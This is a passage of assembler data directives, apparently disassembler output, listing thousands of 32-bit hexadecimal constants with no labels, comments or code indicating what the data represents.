dd 8742BB5Ah, 0FB60D8E9h, 0EC4BFFh, 2379AA48h, 0F89FB83Eh
dd 0C5039EC7h, 80F6E0F0h, 58193C60h, 0A6BE187h, 5635704Bh
dd 51006141h, 7908A8D3h, 0FBC311h, 0F1CD0117h, 0BEC5592Bh
dd 9F3B7A03h, 0B453BDh, 0C7124B0Eh, 0A88749CAh, 105BFE00h
dd 0B94A3E7Eh, 50F300D0h, 7FF84581h, 0F6035F43h, 1F715324h
dd 0E24D900Dh, 275F860h, 0F3D16FFDh, 0B17E3D90h, 7C8B5263h
dd 403DBC54h, 55F37F80h, 74061407h, 0C4300D47h, 5547E02h
dd 3DBF66C8h, 93C1AFF3h, 0F01DC8Ah, 4A2A6984h, 7DC122F8h
dd 0E01CAC38h, 0AE00309Ah, 8B7FB0CFh, 9F25E98Dh, 76C278F4h
dd 0A149E040h, 0DA2E12C2h, 7A0EBF5Ch, 9ADB72F9h, 0EB89C1C5h
dd 1379F8A6h, 0D027ED85h, 16FB8191h, 0B80737BDh, 41D02500h
dd 24E45293h, 53BE7C17h, 28DB08EEh, 2DA15025h, 204426A1h
dd 49A7DC9Dh, 97C0CEFFh, 0B0479BCDh, 5F867330h, 56EF0681h
dd 4C19F3C7h, 3AFB4095h, 0C0E9B736h, 0F07EF6E5h, 61C489E7h
dd 0B7510B90h, 9E597A4h, 7FB527h, 0E99D6D63h, 0AD17E780h
dd 6BED1FFh, 6B2381B8h, 0F9B09CC7h, 615B3521h, 2BE6793Fh
dd 1EA2EDB6h, 0FA27397Ch, 26A2BECh, 484A78B1h, 651DA816h
dd 55EA6DB1h, 5A9C4AF2h, 41098DCh, 883C27Eh, 1B01FB51h
dd 11852960h, 8C6E4F25h, 9403F03Bh, 2EF86C4Dh, 4678F010h
dd 0A41E00BFh, 0D268BC9h, 0B19F5A5Dh, 0D9F457F0h, 16E9135Bh
dd 0C4E6F20Fh, 0CC1FFB8Bh, 501B088Ah, 5C85012Dh, 0C85B96E0h
dd 2B0C9239h, 0FEB8DFBCh, 0D39A9F9Fh, 6A32EFDCh, 90185790h
dd 0C00BAEAh, 1AEE9CA0h, 0E4B532D6h, 0FA1B09D2h, 8774904Bh
dd 0AF3F25DCh, 0A7CD355Fh, 9500F34Ch, 33BAFE12h, 9F2831BDh
dd 619DED94h, 753F0849h, 0A52B04EDh, 0D46D5F14h, 8CF6DCDFh
dd 492EE305h, 0A2BB1E5Ch, 60033542h, 0B508A3B9h, 0D92D32E5h
dd 9C6003D2h, 589083AEh, 0BB07D292h, 9D1AEFE4h, 8A7F1CD3h
dd 9D665DB8h, 0F4D85B4Fh, 0BD238848h, 3E245D21h, 0A178BFCBh
dd 9C705EE6h, 304029B9h, 0B77114E4h, 151E90CAh, 0FD5EBD34h
dd 0D989D632h, 10073680h, 48B5D039h, 0AB969D13h, 0BF78C8FAh
dd 2DFBF938h, 0BB21483Ah, 0C01B160Dh, 220A32Dh, 0A5BF35DBh
dd 9A12D40Fh, 0C7E7F51h, 0E171D02Dh, 2F21C96Fh, 0C82B7C81h
dd 0E1178ED4h, 684E4Ch, 5E6D8AD0h, 0C325C561h, 89714412h
dd 5B9D92EAh, 0B92DA7DFh, 3A9D9188h, 33FD9801h, 0A2BB71h
dd 50858B26h, 0E847554Ch, 32E25EA0h, 0A6AEE90Bh, 0E5897538h
dd 9ABF02F8h, 15C5F7B3h, 0E9345320h, 0E2810B64h, 723F345Dh
dd 7B5552F2h, 17850DF2h, 0FE223EC1h, 6E422B41h, 4404CE57h
dd 50016108h, 9A3A6EDAh, 0F07BDC29h, 62822B81h, 746F0C73h
dd 32F99D8Dh, 93C4B340h, 1EE7527h, 60D44CBDh, 6A5F732Dh
dd 74921761h, 0C018880Fh, 95B34634h, 0BB92809Fh, 5BC9AC8Ch
dd 0B21FF67Ch, 0D8A2301Ch, 0F427C902h, 0C07F4F41h, 4099BD2Fh
dd 572AB911h, 7C95B310h, 0D4D2F11h, 7B685FC9h, 5613F0FFh
dd 6EAEFC39h, 8C2F09A7h, 4CDF1D1h, 0D4B5BD01h, 92F6F82Ch
dd 9212C36Fh, 0E6E04C1h, 0F5FBFC60h, 7B7FC6B1h, 0F6D300B8h
dd 9C1B5C34h, 0CBA5175Bh, 0C60BFF7Bh, 52587E27h, 13D4A954h
dd 0F299A0EFh, 638300D5h, 459362E1h, 487FC1Dh, 82FAC0CEh
dd 93A3BA72h, 6B7EA14Bh, 0BD5BD4E7h, 0DB8A4FDCh, 400AAEDDh
dd 0CFEB56D2h, 8095B73Dh, 2047F138h, 2DB537Fh, 0F2EE04D3h
dd 0ADC6A873h, 20324300h, 61E8F430h, 0CF0B002Fh, 92AC46D7h
dd 0EC985BBEh, 0E726CD27h, 125C11FDh, 0F34F98Bh, 0FC2FCCh
dd 3B5ADF0h, 1909CC8Eh, 43E5A01h, 7227A76Bh, 81411DF1h
dd 5B0218D1h, 910EB55Fh, 0EB83801Bh, 95B123BAh, 3F8B1461h
dd 0E1FFB820h, 0F4E30481h, 0FC08A91Bh, 5A5A18Ah, 87D357C2h
dd 0B0CB70h, 0C6982BBh, 56DB45B9h, 6489749Dh, 0A18DFC5Fh
dd 880F0586h, 21CAC019h, 69003310h, 66D38193h, 9F239AE3h
dd 1C578494h, 73FBA16Eh, 41D3ACCh, 0FD71108Fh, 746EEB60h
dd 0BB947500h, 551E730Fh, 412DB3B0h, 0D4BE7E29h, 2B1D52h
dd 1F4585D0h, 13875905h, 0F1310C61h, 0BADB7BE1h, 8975F2C0h
dd 85E66B62h, 7E09052Dh, 41D064BDh, 5BDF8B57h, 0B21AF67Bh
dd 9FD86C1Dh, 0F1698259h, 3ED400B0h, 0BD568C5Eh, 0B88F14Bh
dd 88C700FBh, 0C42209D7h, 0C8FBD220h, 0FE097278h, 57D0861Ah
dd 0DF040FE6h, 48BD4149h, 23F1ABC1h, 0C0BF9001h, 335BF86Eh
dd 5A00D5A3h, 7A1C2D6Bh, 0CB263FF7h, 82601EF5h, 7377662h
dd 89FED335h, 991FE0E5h, 1816B0D2h, 0EAB8905Bh, 4F29FF80h
dd 0A6003857h, 0C3B5112h, 3BC50F3h, 5AD161B2h, 89A9E206h
dd 0BB492BBDh, 3ECD576Ah, 0F5162DC0h, 7C3500A6h, 47ADDAD9h
dd 271CC781h, 898B6443h, 0CFA05D8Dh, 0BC2B8768h, 7A57E355h
dd 5700EAFDh, 45F78052h, 0B9009289h, 90C5CA93h, 978B36C6h
dd 0D878C2C0h, 5E1C6225h, 3D13DC49h, 0DAAFFDA5h, 9BE692A0h
dd 405E2A00h, 0A0E23F98h, 5B0A9224h, 833D5725h, 690E5485h
dd 27EF09EFh, 0DEEFB976h, 5A170940h, 48C00Ch, 1F276A3Eh
dd 2FB81437h, 0E91CD87Ch, 7C2F024Eh, 0F75BDE4Fh, 76000CE2h
dd 2F64DDC7h, 0D1A0C5D4h, 309C039Dh, 0AFF823E0h, 0DB431649h
dd 45CCAF63h, 5A2DE829h, 7A6F613h, 86E19FEAh, 60A809D5h
dd 0EC00A94Ah, 8CFB0EF3h, 8BE198FDh, 207DBB91h, 7E8AE138h
dd 0EF806262h, 0C545E6D7h, 0BFEDE426h, 80F5AE2h, 0DDA40FC7h
dd 8060EAA2h, 841DB1BDh, 171A535Ch, 0BBAC64Ch, 0CF77CD72h
dd 605D4BE2h, 13FA215h, 0E7B7418Ch, 6F82DB80h, 76083BC3h
dd 329D30CDh, 0BB044685h, 3B18207Dh, 5A905064h, 27C3B67Ch
dd 85C0A4CDh, 8CEA78Ch, 12FD0EA0h, 0DF160509h, 169187B7h
dd 0BAD75085h, 1DF159C1h, 80CBBD6Ah, 0A4DB6268h, 246672BBh
dd 82F84898h, 447A289Dh, 72DCE3D4h, 0E4CE1227h, 1220EBD0h
dd 27DC2F1Ch, 38E65136h, 3D8D091Ch, 0F71B4E2Fh, 0A21EE66Eh
dd 1792EC1Ch, 0AB1DD4A7h, 0FA951180h, 0A9E1B750h, 18C23F8h
dd 0CBF4431h, 0CD31FB37h, 917BFCA7h, 7F41E073h, 0FF0916CAh
dd 40213093h, 5F000314h, 5D1B0B2Bh, 992ED1Fh, 2827FD55h
dd 0E495EFF7h, 0E2A4EAA4h, 13D5B0C5h, 0D231E1BDh, 0AE7075BEh
dd 96E9614Bh, 0EB069B8h, 0B98BF15Ah, 25BD6062h, 5E1A9CDFh
dd 0C39ADE56h, 0A8B6CD4Fh, 9845CF69h, 0EDB10C32h, 85765BA9h
dd 953EE988h, 0A8D8A45Bh, 0B0865A21h, 7F4AB3C4h, 88AF7EFDh
dd 30A7C718h, 815D7170h, 873CCB05h, 9BFB07F5h, 596DCB2Ch
dd 4C84F10h, 238F243Bh, 2F6F794Bh, 0F400DBD8h, 0D3472AEFh
dd 160EDAF0h, 60FE8BD7h, 9CAA3D6Fh, 0C2F3D827h, 0EF2D9684h
dd 897D9F7Ah, 64A25CEDh, 5605FEF5h, 0F3ABFCB4h, 426F92EAh
dd 325F0325h, 7BB3400Bh, 0DBD497C5h, 0E946672h, 13A3C627h
dd 5C848761h, 5BBDF4CBh, 98452417h, 9D097D12h, 17E6D721h
dd 3B9B2EEBh, 57A05A8Fh, 97D3997h, 150D8517h, 0BE4A91F2h
dd 0F2BF4775h, 98710076h, 151B896h, 7F9C7499h, 80DE949Dh
dd 0C6687C2Eh, 0B00045Eh, 9EB7B242h, 163849E2h, 0AC27EC58h
dd 6ABE4FD1h, 191426E4h, 0E2C1F7CEh, 0A82B6154h, 0B247B03Ch
dd 7E77398Ah, 93C79211h
dd 1D8BED9Bh, 258DFE01h, 16AE6222h, 8BB72F45h, 0AF74C44Fh
dd 17C8C59Ah, 0F86793C9h, 2DF2B5C7h, 786133FCh, 0D17C8853h
dd 73442D11h, 0C2518D3Ch, 0B83CED93h, 0B2F53BDAh, 0BAFE8A13h
dd 8F95C89Ah, 49E80CC1h, 0F2A97FC6h, 0AAF93750h, 1E3DDD90h
dd 9778FC25h, 1372AC21h, 9FBA26FFh, 0C4F2C1DFh, 9D3A3370h
dd 0C01A5AFDh, 609668C9h, 0E1F1B752h, 0E055893h, 0F4F817B5h
dd 3777F925h, 926A110Eh, 0D7A30C16h, 10C40B5Ah, 62299C75h
dd 50F94B4Bh, 9304DEE6h, 0D1561823h, 0DF2974A1h, 0AD010EB8h
dd 2132AAB3h, 66E13568h, 0DA0FE89Ch, 69F12B0Bh, 0C714DFA0h
dd 258D9B1Ah, 0C4B8F76Bh, 0BF5A10DBh, 6A7FB8DDh, 0D64A2602h
dd 0F3843C05h, 1B159004h, 600B79CAh, 467F8E0Fh, 9E5C97C9h
dd 9CB1DF4Bh, 0DC6340E8h, 51783411h, 0E4595ACBh, 8A39B529h
dd 0AA84C374h, 54E092A6h, 6D1329EDh, 89A9783Bh, 0BD8C17ACh
dd 0C928DE7Eh, 0B55CFAB7h, 23B7CA0Bh, 9993D14h, 5F9D2BDAh
dd 0BDDFEAA9h, 801B910Bh, 40BBFE75h, 0C596011Fh, 0F1C7E9D4h
dd 7073C6FFh, 7D807F72h, 0ACF5F4FBh, 0DB7DEB12h, 82024EF0h
dd 8154E0D5h, 383027EFh, 0F2E813D4h, 32E649h, 161C69B2h
dd 0DDFEBFE6h, 2DF29549h, 0A5D6FC5Bh, 718A30F3h, 8A43E032h
dd 6BB6A5DDh, 6B85F6F0h, 97AFC603h, 0BE5B181h, 170C5FB2h
dd 7D9B02DDh, 0DA32752Dh, 0FA402FEDh, 4A1AF848h, 8E2A0B0h
dd 0F0FDB28Bh, 0A8504EA8h, 1D13C01Ah, 0E3BBA32Eh, 4B3D30F0h
dd 0ACC15214h, 59BD4EEDh, 7005EBE8h, 7EDD71F0h, 2B3DDC09h
dd 0E9ECF733h, 0E05C4AAAh, 418DCDEBh, 3072ACA6h, 0FCEF81B5h
dd 53176F37h, 4AA6D1FFh, 4A3BBE5h, 25F68A4Bh, 0F63C7486h
dd 76769Dh, 56FDEABFh, 6A2FA5ECh, 0D66A9002h, 0AD70733h
dd 0BFA11AABh, 0DBF36580h, 60018B3h, 0FD4ACB0h, 195BD9BFh
dd 4525090h, 53B16A51h, 9298B87Ah, 90750AAAh, 2602DE84h
dd 8E3E682h, 8842F7D0h, 978BECFDh, 11BCEC1h, 8E7ACDE9h
dd 75692428h, 79C4732Dh, 72DE751Bh, 87500CDh, 0B2211CA2h
dd 4FE00D4h, 1D6A4CABh, 74B913Fh, 0A6D345A9h, 9F0AA008h
dd 0E8915AC1h, 98C009AEh, 1E00F1FCh, 0A7B30004h, 0E01BD07Fh
dd 61EBBD16h, 49C1A653h, 0A52568A4h, 23C5F9EBh, 0A25CA77Eh
dd 0AD4C1Bh, 74D98E66h, 21F1AAB0h, 147160C4h, 0C1A408E8h
dd 70C998Eh, 22FD8DC1h, 870E743Ah, 0AB29C53Eh, 0D7825DF2h
dd 66E2EECAh, 1C43777h, 17482FA8h, 6BBED593h, 450328A2h
dd 82862C5Bh, 8CAC8890h, 52735C04h, 60BF8F04h, 0F2A0EF31h
dd 5B58BD17h, 0EBF10509h, 1805D1ABh, 3009CA3Ah, 3BF3DF7h
dd 70332F47h, 80144AD4h, 0F6DF816Dh, 46978945h, 88A1A834h
dd 11628014h, 46F18902h, 95AE961Dh, 5DB84280h, 0FEF9A9EEh
dd 0E9FD04CFh, 0E9F571E4h, 3FB9311Ah, 3AA4B3h, 0D2EB8100h
dd 3B284D80h, 0C2BD6CBAh, 70DFA997h, 0A711BFF9h, 29A73EF6h
dd 8B5F95Ah, 4907E1B5h, 1E9D7EA2h, 1A0ED0FFh, 4778E9D9h
dd 0E651FFh, 1D41B2DCh, 6A1C9B44h, 0A682B552h, 0E0B8B354h
dd 0E14E4953h, 61F1E0FEh, 0F5F99DA1h, 6A086508h, 0A9451727h
dd 9E11889Ch, 52D165E9h, 11953140h, 0F3BA9720h, 0DF70E7A9h
dd 1AEB1197h, 0EADFE517h, 89B6377h, 0BF8E5522h, 0C4F6725Ah
dd 16842F77h, 3F804537h, 0EB906041h, 61B00FF1h, 90292E7h
dd 3E891BDh, 0B350BA66h, 0A7D16A92h, 0D58C4BBBh, 0EEB92DFCh
dd 96BB3C80h, 426F6BF4h, 0A5C2B9E4h, 2537FC2h, 0A53861D1h
dd 2BADB680h, 0B50B5441h, 0DCB81EA4h, 9A7EFC9Ch, 0D00ADA02h
dd 0D185AA7Ch, 17EF071Bh, 0FB8B25B0h, 246FD5F0h, 111295C0h
dd 0D45F250Dh, 901F42Eh, 0ACEDE973h, 3265A483h, 44F3203Fh
dd 4F58519Eh, 0CF3A00BBh, 6D21718Ch, 8C4C48C3h, 27BD207Bh
dd 0EDCF5B4Bh, 0E4E78009h, 8AB77Dh, 4BEC5CD7h, 0DB4ABA33h
dd 1000EDE8h, 0CF816024h, 0CD13DCFAh, 0F3090350h, 0E9E3D428h
dd 183CF181h, 0E69A3A3Eh, 0CE1CC8h, 0BEFAC4ACh, 0B4FB127Bh
dd 51073052h, 0B7B0BD4Ah, 20953F04h, 69A98A0Fh, 7AB86000h
dd 617109FDh, 7C001A9Dh, 82FE607Fh, 0F103664Eh, 23F479A5h
dd 4BE7808Bh, 0F67E4C6Ch, 1A859D0Bh, 4979E777h, 0FD4697Ch
dd 5035928Dh, 919AF7E0h, 51971BFBh, 0E2D76B39h, 71A3736Bh
dd 0B335E01Ah, 3463849Fh, 2821BC12h, 0FC9F0603h, 59AC2BBEh
dd 0B5E01814h, 565AD7FBh, 0B7CBC035h, 80079C1h, 0CAF4DA16h
dd 0B7E1FF90h, 3A33C2C1h, 5822BD8Eh, 4E069497h, 0B0CAA766h
dd 4B50D833h, 34FECAEBh, 26C15904h, 46BEC70h, 0BC1B9512h
dd 97E192BCh, 4BD7C334h, 3175D1F9h, 0AEA72E01h, 0D05F02A0h
dd 0DEBD3B30h, 4E07CB81h, 0AACCEC74h, 0D310077Bh, 51DFE46Bh
dd 2A8B91E1h, 624DD9F2h, 0E37D984Bh, 5D2E2A0Ah, 0E50B834Bh
dd 60F0F6FBh, 25150DEEh, 3C195300h, 4895177Ah, 30FC27FDh
dd 0FE9DBF50h, 539061D8h, 5F119C51h, 0E794C86Dh, 68F70137h
dd 86F5EAB4h, 2DB43B53h, 2919124Bh, 2576F79h, 0D1B501C7h
dd 22385F2Eh, 884E0F50h, 0CFB270EAh, 4000379Bh, 0EB394D3Bh
dd 732C8h, 0E828EF02h, 0E0F1BB55h, 0E65F3325h, 0A799F15h
dd 76D290A5h, 248A00C1h, 0DBCD124Ah, 0E9245B85h, 60960DFAh
dd 194104EEh, 0F4B5052Fh, 0D6B7BDC1h, 270F59D2h, 77034E51h
dd 0CF2C32F7h, 0DB15E360h, 99C04B0Dh, 0FBA16ED6h, 0F12BDD2Fh
dd 45942B8Dh, 0A0358AAFh, 29CAE3Fh, 1259767Ch, 3160B63Ah
dd 51BF1519h, 0BC6D6B20h, 0EF894142h, 0A17E407Dh, 0BC0E0B4Eh
dd 698E74BFh, 0B9C3216h, 0AB29D7DBh, 0AB6BF58h, 965C95DCh
dd 0F0B59BAAh, 0D6FA0042h, 744ABF50h, 4CF74C17h, 0DEEC82E4h
dd 0BC149B00h, 0AF3D4616h, 5A0A0404h, 0B8849E81h, 0F3B992CDh
dd 7E0428BCh, 11633322h, 2F2129EAh, 56847AE8h, 0BED0945Fh
dd 0E9C1DB0Fh, 4014F631h, 99AB9F54h, 5FB9161Fh, 651D77E7h
dd 8B63F428h, 0B7F88AA1h, 5EDE0A0Fh, 0A06EBF00h, 97587639h
dd 0C5C2DBEDh, 2D835C8Ah, 1B59B2FBh, 230B8D18h, 0DF3C6772h
dd 8075AD08h, 6A45CEF2h, 0B32723DCh, 0E45A74C0h, 0DA65D250h
dd 0C1BDB9D2h, 8A3A179Bh, 70005858h, 6D61962Dh, 0FB42C04Bh
dd 0F906C61Dh, 3AC6D40h, 0D302652h, 51783127h, 0ACA37E0Bh
dd 7763BBC0h, 949532CBh, 7B925F7Dh, 474100B9h, 0E68D0EF0h
dd 3DBE2D64h, 138EC810h, 0A24C0316h, 3DF20488h, 0F0805780h
dd 0F89DE22Ah, 0E9019B19h, 0B10CE1A5h, 6B78B48Ah, 5CFC1C22h
dd 802DBD9Dh, 6CF84A6Ah, 6409B4F5h, 0C4942FA4h, 1BF4B728h
dd 0AD64207Ah, 0FDD7BFD5h, 0BD12CE7Ah, 0F97E947Eh, 7DCBC05h
dd 0A330454Ch, 96F8E155h, 65691D8h, 234EE05Bh, 0C6235197h
dd 0E4806FD6h, 0B2832845h, 893E45F9h, 5AFC03C1h, 1E217F4h
dd 21C4FF9Dh, 0F4EEE7BBh, 0C63204BBh, 0D328ECA7h, 38D6D05h
dd 23216FEBh, 53A20D15h, 3B23FD52h, 0E885FF2h, 1D73FD80h
dd 589C5ECEh, 9802A74Ch, 427D702Eh, 0CC4EE5Ch, 6BFA3B40h
dd 0CF5E818Dh, 0C88E02BAh, 1C5450CCh, 0AC7E0A40h, 0BB065B2Ah
dd 62824D64h, 0DDD8DD61h, 0DCE5C78Dh, 2F5F805h, 0E18CAFC8h
dd 0CFB35F12h, 0D94AA405h, 0D8FA04D5h, 0D9BD860Ah, 9D5EAD0Ah
dd 7A9CDFA7h, 0F824B898h, 0F11A4788h, 44F3DD2Dh, 0EC6E52h
dd 0CC519D65h, 86BF577Ah, 0A558983Eh, 0D692FE5Fh, 0FEE0BD96h
dd 126A70A5h, 0E1355E59h
dd 1E6E2BB3h, 53385A07h, 8C796922h, 0C0C0B60Fh, 0B14A3D03h
dd 9F4B1E78h, 20B5F18h, 23090291h, 710D525Dh, 5089135Bh
dd 8073DB20h, 8BB5A585h, 0F94B1E02h, 0ACB11301h, 0D205A47Eh
dd 0EE126CBCh, 0E1ED31EBh, 7ADA3A63h, 99C018C8h, 5879D0CDh
dd 0E64CB1A9h, 0B4D07027h, 5BD42152h, 232670BEh, 2B40ED9Dh
dd 7CE7B7h, 59B529C1h, 0B3960004h, 8D8B5E5h, 0C0935BEDh
dd 0EF3FBBEBh, 0A852288Fh, 0C7A92D87h, 96D6097Eh, 14A3C1F9h
dd 0F380FC64h, 9EB7554Eh, 81D7DA4Bh, 56C83F7Eh, 0A6892B61h
dd 0E67105EDh, 70AB4345h, 7A743BAEh, 0E7201F01h, 0CC41F32Bh
dd 40CDA87Bh, 2A9AFB9Dh, 4A137BDh, 0FB1F3AB5h, 0E2BD7F98h
dd 1F949D11h, 5987BB1Ch, 61EA35D2h, 0B8830F12h, 61EA4A3Dh
dd 3B29D57Dh, 889D73F2h, 0F57A163Dh, 0D0ED8D6Ah, 6CA5AC0h
dd 958777D2h, 1959DEFBh, 69059118h, 2E687471h, 4AE5E2EAh
dd 0B509ABC0h, 8F074BF5h, 0C3B3178Ch, 88838BC0h, 0B1704EE9h
dd 6E9B7B5Ah, 0D5EFE581h, 5D47F879h, 5E2E933Bh, 8B131BA3h
dd 87369BC1h, 0E30E708h, 24A55C5Eh, 2F58CE6h, 2C01B7D9h
dd 519F5377h, 3DC9661Bh, 9DBE8BAAh, 240AD6FCh, 0CE460A4Fh
dd 760711F7h, 47C88F5Eh, 8EBF0590h, 0F2E60C2h, 9B33FAE4h
dd 388A8D74h, 0E1AB9404h, 0F9AD2FEAh, 1D0963BCh, 74C193FEh
dd 1C6E0535h, 0F0D1A617h, 12F7090h, 0FDC6D9A0h, 6E58729Ah
dd 4B4B88h, 74850930h, 56B805DCh, 142CB112h, 81C780ABh
dd 9D1353EFh, 0BBA746Ah, 81FE05C8h, 778F01DCh, 66D5BAEDh
dd 1DDD300Eh, 0F83B0B41h, 0F600975h, 5E4E580h, 8AF78271h
dd 0AF2400BAh, 754363C5h, 0BD7125D0h, 85B7D146h, 6FAC0271h
dd 0FAF88B85h, 0A6801DDEh, 0ECDC4D84h, 9D4CCB61h, 0A22E173Dh
dd 67A6D636h, 0FEF111A0h, 9D0B1F7Eh, 568B8E7Ah, 19B74728h
dd 0D94B38F5h, 0CCC38210h, 5E75AAA5h, 1DF0A2F0h, 899ED355h
dd 6DC03BA8h, 0BF04D1FFh, 44BD739h, 78A21DBCh, 0F1260211h
dd 2A7F61F0h, 229E7701h, 0F95EF713h, 44BFA56Eh, 8A54E027h
dd 310FFD19h, 0BF00F90Dh, 0EB0CF8B6h, 4585A3Ah, 0FFEC9890h
dd 0E63EAC31h, 931AE24Ah, 50AFF84Eh, 1D091238h, 1731EB1Ch
dd 382F54E9h, 1C41780Fh, 0E6DBC484h, 0AAE0B891h, 0A879C04h
dd 0F54FC1FBh, 22062BEBh, 5EDF4DBDh, 34F98850h, 9F9A8802h
dd 0FFF3DE51h, 0BF0F5259h, 4C67A298h, 0F373775Fh, 0C1E090D0h
dd 0F867C8Ah, 0EA96BB7h, 2D2EFB98h, 0BE13097h, 0A8754BBDh
dd 0F1C4A448h, 0DC0328AEh, 0FC1C2F00h, 0EC19221h, 5654270Ch
dd 5F5A71E6h, 7D88BBC5h, 8486FEFFh, 84600997h, 8C9535FAh
dd 26E6E6ABh, 0CFB9EB33h, 9AB02288h, 150520C9h, 0E470E603h
dd 0DC095271h, 0E23B3FC9h, 11112BFh, 3A8660EEh, 0E700FD95h
dd 2DC435FEh, 58539CFh, 0C5B77F24h, 0F1F2AB3Bh, 652F3948h
dd 566CB2FDh, 0AF8313A8h, 3B72DCh, 0EDEB3CB8h, 81687DA6h
dd 0CEF99C00h, 0D4263002h, 0FDD55E42h, 0FABF1275h, 9E46B7E1h
dd 0C82B2877h, 4FFF77D9h, 0C0B6ECD1h, 0A95D15B5h, 259A018Eh
dd 0DE33AF62h, 651C6E3Dh, 96194C5h, 0E997B4AFh, 5B3BADF3h
dd 268D88DEh, 124C7E4Bh, 0C0A9BD50h, 5BB5BB07h, 10356ADCh
dd 0BFF813CEh, 200EBF22h, 0BC78BBF9h, 0E91E9C0Bh, 257E5B5Bh
dd 2976C264h, 25B1F49Dh, 58E6C262h, 0DB0CC2B7h, 72DB80CFh
dd 0C2B983AFh, 22AD625h, 5DA9FBD0h, 79883C45h, 2CD74D1Ah
dd 0A522C0AEh, 48D4106Ch, 0BD0BAEFCh, 94DF1A29h, 94D71250h
dd 0F46FEE16h, 0D886BC3Dh, 0F253A78Bh, 2D347920h, 90376A5Fh
dd 3883A087h, 1FB5D160h, 9C6528F5h, 60D83AB0h, 4B69BA1Fh
dd 0C1FD8501h, 0DD2B6165h, 0B05666E6h, 1860B255h, 6C296EDBh
dd 427B9DEh, 0D2D1F310h, 0B21F657Dh, 575EFB5Ah, 24118D9Dh
dd 1069825Eh, 58CB8856h, 4EBF25F6h, 0C6B3CF7Ah, 0B209ED0h
dd 7D2ECFECh, 0D8A53B74h, 2FFB9DECh, 25091B6Ah, 20BD751Dh
dd 4E5BAF00h, 5E5F8C9Dh, 0F1A6C5FAh, 76E36B2Eh, 0B5168490h
dd 0E9CAAF25h, 4EE4ECB0h, 0F6B0D005h, 0B4046B3Bh, 8494D99Dh
dd 0B2FC8BEFh, 0DE493016h, 8D01FB09h, 82EDA9C9h, 5CE1394Eh
dd 3B4B51B4h, 1A2A2970h, 0A210000Ah, 40A9F794h, 9C2F793Dh
dd 51AA5331h, 9421818h, 0A28AAFA3h, 31829971h, 5721DDBDh
dd 0A4F0ADABh, 7A8E084Bh, 7E959522h, 401E46Fh, 9EAF04A0h
dd 0E9268419h, 40A17BB8h, 75A73E04h, 7999AA0h, 16AF733Eh
dd 92BB2BDDh, 9ADB6015h, 96A7070h, 12CDB529h, 0F220BC71h
dd 997AAE8h, 72875BC0h, 629B5457h, 4FFE7E6h, 0B01616C3h
dd 0E69519C6h, 0F7625960h, 936E4Bh, 9EC092E6h, 124FB6B5h
dd 0F0B72C9Ah, 504A8E1Dh, 1AB240B6h, 7ECE8230h, 0FEC71755h
dd 0B1015215h, 1F93EE7h, 8807E4E8h, 7D0A39AAh, 0EFF8F864h
dd 7E30CA80h, 0DB05E17Ah, 501A1279h, 0F442AD8h, 8BAD1615h
dd 0ED5E81A0h, 265A1D9Bh, 7EA6CBD5h, 94AF4DE0h, 23C4E24Bh
dd 925DF9ABh, 94BE3912h, 0BC1FED03h, 0AEE3010Ch, 2E065E78h
dd 65062016h, 97AD105Eh, 1501B580h, 0D804AFC1h, 83E2888Ch
dd 7676E0FBh, 5868A100h, 0BF2B5915h, 2EFC162Ah, 7EC1EF10h
dd 0F9F14616h, 0BB14602Bh, 0D4B57335h, 9AA34028h, 0D1094718h
dd 71F4D540h, 0DFE640BEh, 9A975BA2h, 0AFE97D48h, 0E9E56088h
dd 0D001D42Eh, 5D2C6542h, 7372EDFBh, 0B27F2D9Eh, 0D2F97DD7h
dd 2F45BD84h, 0BFC82F29h, 0FB575AF3h, 0E7B0B718h, 5F552515h
dd 359D20EEh, 5D1404BBh, 20A6F892h, 7BF0532h, 0EB250281h
dd 89F90A12h, 76001EBCh, 2A5721FBh, 4F7BD01Fh, 0B27FEAC5h
dd 0BA2A7800h, 34D34B4Ch, 0F68E0F27h, 21A160D4h, 0F125BD03h
dd 0B75BEC1Eh, 2841BA4Dh, 0A6318912h, 79CBC4C2h, 0BA344ADFh
dd 5889729Bh, 875F307Dh, 0F34CF9EBh, 131C7CF2h, 0EC61541Dh
dd 0A6BA9250h, 9F250946h, 5A81DF72h, 2B31ED9Dh, 882E56DDh
dd 62E2DEEAh, 66ACFA0Bh, 949EF5B7h, 0F55BDF42h, 2DA71117h
dd 58C748E3h, 74A81BAh, 884A11F7h, 20F43AFFh, 90A64A18h
dd 0EA50FB4Ah, 545E9D33h, 87B5DFA5h, 79E06924h, 2D1555Eh
dd 6ADB8BBBh, 0B7556163h, 9A520B45h, 0C5A66D5h, 399CF557h
dd 0C4B4DEAh, 602712CFh, 8D893D60h, 0B5A5CD5Fh, 5A7CDA6Fh
dd 0D1C013FCh, 0FD93DA7Fh, 0BFFF0507h, 0E190FE51h, 28A2C0E6h
dd 0B51BE9A4h, 0F0C89B90h, 1E703900h, 5D681917h, 5488019Eh
dd 0FD8A97E2h, 89A93F5Bh, 0E8E6D2AEh, 95A3F004h, 51B5FA2Ch
dd 5419F552h, 9209DC08h, 7149CABFh, 5DAD44C7h, 4888B96h
dd 0C63D13BDh, 0F106045Eh, 9DF6EB08h, 92F09CD8h, 97DECCB7h
dd 8FA60BDEh, 7307F509h, 6D5EB192h, 0D1FD3E18h, 27935CB9h
dd 0D932F217h, 0A69F9944h, 0ACD286B8h, 36524A2Ch, 0DF94695Eh
dd 0CBB8925Ah, 333ACC4Ah, 8525D09Dh, 45352551h, 50B4C103h
dd 6EBF852h, 5A9F172Fh, 0D271BE5Bh, 6410401h, 6F2E0B79h
dd 1B235Ch, 0C47B21B7h, 0A113EA9Bh, 98BE6082h, 195F15BCh
dd 0B0808FF9h, 53F4E938h, 0F73B7E2Fh, 615F6910h, 73793A97h
dd 76C55058h, 0BE0A3013h, 0AEC1DF30h, 5BA3000Eh, 0C781CAD2h
dd 8254D89h, 8B3FD473h, 29732050h, 3A4870h, 18F4A034h
dd 81948A91h, 0F138F304h, 0F3EB0CCFh, 0A52077BEh, 0B5313925h
dd 0C451332Fh, 67E7A68h, 0CF4B4863h, 60164017h, 6CE2DA8Bh
dd 2FC08901h, 0F9179FB0h
dd 0E0E62B16h, 80945129h, 12C73593h, 0F22F53C8h, 0E2F87C5Bh
dd 96042205h, 0B7507380h, 0F80CC990h, 0E1D1EFF7h, 0F830D387h
dd 3A976C94h, 510C732Eh, 6401D008h, 68AE5309h, 4AF0D898h
dd 8918E30Fh, 103DDF63h, 0C578DB84h, 9342D04h, 1074FA96h
dd 4A3DCBBBh, 0DB5E5230h, 0D9760EFCh, 0D200304Ch, 61DDA731h
dd 96585A11h, 0CF16DFBCh, 9CBA2E5Bh, 1A9703B1h, 0DD9D424Fh
